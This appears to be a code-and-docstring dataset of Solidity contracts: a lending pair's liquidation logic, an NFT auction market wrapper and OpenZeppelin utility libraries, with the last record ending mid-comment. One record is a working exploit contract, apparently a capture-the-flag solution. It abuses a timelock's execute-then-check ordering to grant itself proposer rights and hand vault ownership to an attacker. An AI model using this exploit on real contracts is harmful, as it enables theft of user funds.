users' balances, once the users' amount of collateral is too low. /// @param users An array of user addresses. /// @param maxBorrowParts A one-to-one mapping to `users`, contains maximum (partial) borrow amounts (to liquidate) of the respective user. /// @param to Address of the receiver in open liquidations if `swapper` is zero. /// @param swapper Contract address of the `ISwapper` implementation. Swappers are restricted for closed liquidations. See `setSwapper`. /// @param open True to perform a open liquidation else False. function liquidate( address[] calldata users, uint256[] calldata maxBorrowParts, address to, ISwapper swapper, bool open ) public { // Oracle can fail but we still need to allow liquidations (, uint256 _exchangeRate) = updateExchangeRate(); accrue(); uint256 allCollateralShare; uint256 allBorrowAmount; uint256 allBorrowPart; Rebase memory _totalBorrow = totalBorrow; Rebase memory vaultTotals = vault.totals(collateral); for (uint256 i = 0; i < users.length; i++) { address user = users[i]; if (!_isSolvent(user, open, _exchangeRate)) { uint256 borrowPart; { uint256 availableBorrowPart = userBorrowPart[user]; borrowPart = maxBorrowParts[i] > availableBorrowPart ? availableBorrowPart : maxBorrowParts[i]; userBorrowPart[user] = availableBorrowPart.sub(borrowPart); } uint256 borrowAmount = _totalBorrow.toElastic(borrowPart, false); uint256 collateralShare = vaultTotals.toBase( borrowAmount.mul(LIQUIDATION_MULTIPLIER).mul( _exchangeRate ) / (LIQUIDATION_MULTIPLIER_PRECISION * EXCHANGE_RATE_PRECISION), false ); userCollateralShare[user] = userCollateralShare[user].sub( collateralShare ); emit LogRemoveCollateral( user, swapper == ISwapper(0) ? to : address(swapper), collateralShare ); emit LogRepay( swapper == ISwapper(0) ? msg.sender : address(swapper), user, borrowAmount, borrowPart ); // Keep totals allCollateralShare = allCollateralShare.add(collateralShare); allBorrowAmount = allBorrowAmount.add(borrowAmount); allBorrowPart = allBorrowPart.add(borrowPart); } } require(allBorrowAmount != 0, "BankerPair: all are solvent"); _totalBorrow.elastic = _totalBorrow.elastic.sub( allBorrowAmount.to128() ); _totalBorrow.base = _totalBorrow.base.sub(allBorrowPart.to128()); totalBorrow = _totalBorrow; totalCollateralShare = totalCollateralShare.sub(allCollateralShare); uint256 allBorrowShare = vault.toShare(asset, allBorrowAmount, true); if (!open) { // Closed liquidation using a pre-approved swapper for the benefit of the LPs require( masterContract.swappers(swapper), "BankerPair: Invalid swapper" ); // Swaps the users' collateral for the borrowed asset vault.transfer( collateral, address(this), address(swapper), allCollateralShare ); swapper.swap( collateral, asset, address(this), allBorrowShare, allCollateralShare ); uint256 returnedShare = vault.balanceOf(asset, address(this)).sub( uint256(totalAsset.elastic) ); uint256 extraShare = returnedShare.sub(allBorrowShare); uint256 feeShare = extraShare.mul(PROTOCOL_FEE) / PROTOCOL_FEE_DIVISOR; // % of profit goes to fee // solhint-disable-next-line reentrancy vault.transfer( asset, address(this), masterContract.feeTo(), feeShare ); totalAsset.elastic = totalAsset.elastic.add( returnedShare.sub(feeShare).to128() ); emit LogAddAsset( address(swapper), address(this), extraShare.sub(feeShare), 0 ); } else { // Swap using a swapper freely chosen by the caller // Open (flash) liquidation: get proceeds first and provide the borrow after vault.transfer( collateral, address(this), swapper == ISwapper(0) ? to : address(swapper), allCollateralShare ); if (swapper != ISwapper(0)) { swapper.swap( collateral, asset, msg.sender, allBorrowShare, allCollateralShare ); } vault.transfer(asset, msg.sender, address(this), allBorrowShare); totalAsset.elastic = totalAsset.elastic.add(allBorrowShare.to128()); } } /// @notice Withdraws the fees accumulated. function withdrawFees() public { accrue(); address _feeTo = masterContract.feeTo(); uint256 _feesEarnedFraction = accrueInfo.feesEarnedFraction; balanceOf[_feeTo] = balanceOf[_feeTo].add(_feesEarnedFraction); accrueInfo.feesEarnedFraction = 0; emit LogWithdrawFees(_feeTo, _feesEarnedFraction); } /// @notice Used to register and enable or disable swapper contracts used in closed liquidations. /// MasterContract Only Admin function. /// @param swapper The address of the swapper contract that conforms to `ISwapper`. /// @param enable True to enable the swapper. To disable use False. function setSwapper(ISwapper swapper, bool enable) public onlyOwner { swappers[swapper] = enable; } /// @notice Sets the beneficiary of fees accrued in liquidations. /// MasterContract Only Admin function. /// @param newFeeTo The address of the receiver. function setFeeTo(address newFeeTo) public onlyOwner { feeTo = newFeeTo; emit LogFeeTo(newFeeTo); } }
Sender borrows `amount` and transfers it to `to`. return part Total part of the debt held by borrowers. return share Total amount in shares borrowed.
function borrow(address to, uint256 amount) public solvent returns (uint256 part, uint256 share) { accrue(); (part, share) = _borrow(to, amount); }
5,355,353
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IClimberTImelock { function execute( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external payable; function schedule( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external; } /// @title Attacker /// @author kaliberpoziomka /**@dev Exploit ClimberVault contract by using vulnerability in ClimberTimelock. The attack is possible, because the OperationState in execute() is updated after calling funcitons. All functions that take place in attack are defined in the dataElements array Plan of attack: - grant PROPOSER_ROLE to this contract - transger ownership over vault to the attacker address - schedule() - in order to run execute() we need to schedule those actions. Because the state of scheduled operation is updated last, we can schedule actions after running a functions */ contract Attacker { bytes32 salt; uint256[] values; address[] targets; bytes[] dataElements; address timelockAddress; address vaultAddress; address EOA_attacker_address; bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE"); constructor( address _timelockAddress, address _vaultAddress, address _EOA_attacker_address ) { timelockAddress = _timelockAddress; vaultAddress = _vaultAddress; EOA_attacker_address = _EOA_attacker_address; } function attack() external { salt = "A_BIT_OF_SALT"; values = [ 0, 0, 0]; targets = [ address(timelockAddress), address(vaultAddress), address(this) ]; dataElements = [ abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this)), abi.encodeWithSignature("transferOwnership(address)", EOA_attacker_address), // here we do not need to pass arguments, because schedule wrapper is defined below - without this calling this would be impossible abi.encodeWithSignature("schedule()") ]; IClimberTImelock(timelockAddress).execute(targets, values, dataElements, salt); } // This wrapper chedule function is only because we need to put it in dataElements. If we would not wrap it, we would pass arguments recursively infinitely ;o function schedule() external { IClimberTImelock(timelockAddress).schedule( targets, values, dataElements, salt ); } }
here we do not need to pass arguments, because schedule wrapper is defined below - without this calling this would be impossible
function attack() external { salt = "A_BIT_OF_SALT"; values = [ 0, 0, 0]; targets = [ address(timelockAddress), address(vaultAddress), address(this) ]; dataElements = [ abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this)), abi.encodeWithSignature("transferOwnership(address)", EOA_attacker_address), abi.encodeWithSignature("schedule()") ]; IClimberTImelock(timelockAddress).execute(targets, values, dataElements, salt); }
13,089,352
// SPDX-License-Identifier: MIT pragma solidity 0.8.5; // ============ External Imports ============ import {IKoansAuctionHouse} from "../external/interfaces/IKoansAuctionHouse.sol"; // ============ Internal Imports ============ import {IMarketWrapper} from "./IMarketWrapper.sol"; /** * @title KoansMarketWrapper * @author Koans Founders + Anna Carroll + Nounders * @notice MarketWrapper contract implementing IMarketWrapper interface * according to the logic of Koans' Auction House, a fork of Nouns' Auction * House */ contract KoansMarketWrapper is IMarketWrapper { // ============ Public Immutables ============ IKoansAuctionHouse public immutable market; // ======== Constructor ========= constructor(address _koansAuctionHouse) { market = IKoansAuctionHouse(_koansAuctionHouse); } // ======== External Functions ========= /** * @notice Determine whether there is an existing, active auction * for this token. In the Koans auction house, the current auction * id is the token id, which increments sequentially, forever. The * auction is considered active while the current block timestamp * is less than the auction's end time. * @return TRUE if the auction exists */ function auctionExists(uint256 auctionId) public view returns (bool) { (uint256 currentAuctionId, , , uint256 endTime, , , ) = market.auction(); return auctionId == currentAuctionId && block.timestamp < endTime; } /** * @notice Determine whether the given auctionId and tokenId is active. * We ignore nftContract since it is static for all koans auctions. * @return TRUE if the auctionId and tokenId matches the active auction */ function auctionIdMatchesToken( uint256 auctionId, address /* nftContract */, uint256 tokenId ) public view override returns (bool) { return auctionId == tokenId && auctionExists(auctionId); } /** * @notice Calculate the minimum next bid for the active auction * @return minimum bid amount */ function getMinimumBid(uint256 auctionId) external view override returns (uint256) { require( auctionExists(auctionId), "KoansMarketWrapper::getMinimumBid: Auction not active" ); (, uint256 amount, , , address payable bidder, , ) = market.auction(); if (bidder == address(0)) { // if there are NO bids, the minimum bid is the reserve price return market.reservePrice(); } // if there ARE bids, the minimum bid is the current bid plus the increment buffer uint8 minBidIncrementPercentage = market.minBidIncrementPercentage(); return amount + ((amount * minBidIncrementPercentage) / 100); } /** * @notice Query the current highest bidder for this auction * @return highest bidder */ function getCurrentHighestBidder(uint256 auctionId) external view override returns (address) { require( auctionExists(auctionId), "KoansMarketWrapper::getCurrentHighestBidder: Auction not active" ); (, , , , address payable bidder, , ) = market.auction(); return bidder; } /** * @notice Submit bid to Market contract */ function bid(uint256 auctionId, uint256 bidAmount) external override { // line 104 of Koans Auction House, createBid() function (bool success, bytes memory returnData) = address(market).call{value: bidAmount}( abi.encodeWithSignature( "createBid(uint256)", auctionId ) ); require(success, string(returnData)); } /** * @notice Determine whether the auction has been finalized * @return TRUE if the auction has been finalized */ function isFinalized(uint256 auctionId) external view override returns (bool) { (uint256 currentAuctionId, , , , , bool settled, ) = market.auction(); bool settledNormally = auctionId != currentAuctionId; bool settledWhenPaused = auctionId == currentAuctionId && settled; return settledNormally || settledWhenPaused; } /** * @notice Finalize the results of the auction */ function finalize(uint256 /* auctionId */) external override { if (market.paused()) { market.settleAuction(); } else { market.settleCurrentAndCreateNewAuction(); } } } pragma solidity ^0.8.5; interface IKoansAuctionHouse { struct Auction { // ID for the Koan (ERC721 token ID) uint256 koanId; // The current highest bid amount uint256 amount; // The time that the auction started uint256 startTime; // The time that the auction is scheduled to end uint256 endTime; // The address of the current highest bid address payable bidder; // Whether or not the auction has been settled bool settled; // The address to payout a portion of the auction's proceeds to. address payable payoutAddress; } event AuctionCreated(uint256 indexed koanId, uint256 startTime, uint256 endTime); event AuctionBid(uint256 indexed koanId, address sender, uint256 value, bool extended); event AuctionExtended(uint256 indexed koanId, uint256 endTime); event AuctionSettled(uint256 indexed koanId, address winner, uint256 amount); event AuctionTimeBufferUpdated(uint256 timeBuffer); event AuctionReservePriceUpdated(uint256 reservePrice); event AuctionMinBidIncrementPercentageUpdated(uint256 minBidIncrementPercentage); event PayoutRewardBPUpdated(uint256 artistRewardBP); event AuctionDurationUpdated(uint256 duration); function reservePrice() external view returns (uint256); function minBidIncrementPercentage() external view returns (uint8); function auction() external view returns (uint256, uint256, uint256, uint256, address payable, bool, address payable); function settleCurrentAndCreateNewAuction() external; function settleAuction() external; function createBid(uint256 koanId) external payable; function addOffer(string memory _uri, address _payoutAddress) external; function pause() external; function unpause() external; function paused() external view returns (bool); function setTimeBuffer(uint256 _timeBuffer) external; function setReservePrice(uint256 _reservePrice) external; function setMinBidIncrementPercentage(uint8 _minBidIncrementPercentage) external; function setPayoutRewardBP(uint256 _payoutRewardBP) external; function setDuration(uint256 _duration) external; function setOfferAddress(address _koanOfferAddress) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.5; /** * @title IMarketWrapper * @author Anna Carroll * @notice IMarketWrapper provides a common interface for * interacting with NFT auction markets. * Contracts can abstract their interactions with * different NFT markets using IMarketWrapper. * NFT markets can become compatible with any contract * using IMarketWrapper by deploying a MarketWrapper contract * that implements this interface using the logic of their Market. * * WARNING: MarketWrapper contracts should NEVER write to storage! * When implementing a MarketWrapper, exercise caution; a poorly implemented * MarketWrapper contract could permanently lose access to the NFT or user funds. */ interface IMarketWrapper { /** * @notice Given the auctionId, nftContract, and tokenId, check that: * 1. the auction ID matches the token * referred to by tokenId + nftContract * 2. the auctionId refers to an *ACTIVE* auction * (e.g. an auction that will accept bids) * within this market contract * 3. any additional validation to ensure that * a PartyBid can bid on this auction * (ex: if the market allows arbitrary bidding currencies, * check that the auction currency is ETH) * Note: This function probably should have been named "isValidAuction" * @dev Called in PartyBid.sol in `initialize` at line 174 * @return TRUE if the auction is valid */ function auctionIdMatchesToken( uint256 auctionId, address nftContract, uint256 tokenId ) external view returns (bool); /** * @notice Calculate the minimum next bid for this auction. * PartyBid contracts always submit the minimum possible * bid that will be accepted by the Market contract. * usually, this is either the reserve price (if there are no bids) * or a certain percentage increase above the current highest bid * @dev Called in PartyBid.sol in `bid` at line 251 * @return minimum bid amount */ function getMinimumBid(uint256 auctionId) external view returns (uint256); /** * @notice Query the current highest bidder for this auction * It is assumed that there is always 1 winning highest bidder for an auction * This is used to ensure that PartyBid cannot outbid itself if it is already winning * @dev Called in PartyBid.sol in `bid` at line 241 * @return highest bidder */ function getCurrentHighestBidder(uint256 auctionId) external view returns (address); /** * @notice Submit bid to Market contract * @dev Called in PartyBid.sol in `bid` at line 259 */ function bid(uint256 auctionId, uint256 bidAmount) external; /** * @notice Determine whether the auction has been finalized * Used to check if it is still possible to bid * And to determine whether the PartyBid should finalize the auction * @dev Called in PartyBid.sol in `bid` at line 247 * @dev and in `finalize` at line 288 * @return TRUE if the auction has been finalized */ function isFinalized(uint256 auctionId) external view returns (bool); /** * @notice Finalize the results of the auction * on the Market contract * It is assumed that this operation is performed once for each auction, * that after it is done the auction is over and the NFT has been * transferred to the auction winner. * @dev Called in PartyBid.sol in `finalize` at line 289 */ function finalize(uint256 auctionId) external; }
Determine whether there is an existing, active auction for this token. In the Koans auction house, the current auction id is the token id, which increments sequentially, forever. The auction is considered active while the current block timestamp is less than the auction's end time. return TRUE if the auction exists/
function auctionExists(uint256 auctionId) public view returns (bool) { (uint256 currentAuctionId, , , uint256 endTime, , , ) = market.auction(); return auctionId == currentAuctionId && block.timestamp < endTime; }
10,193,431
/** *Submitted for verification at Etherscan.io on 2021-07-30 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.6; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/[email protected]/EnumerableMap /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // Part: OpenZeppelin/[email protected]/EnumerableSet /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be 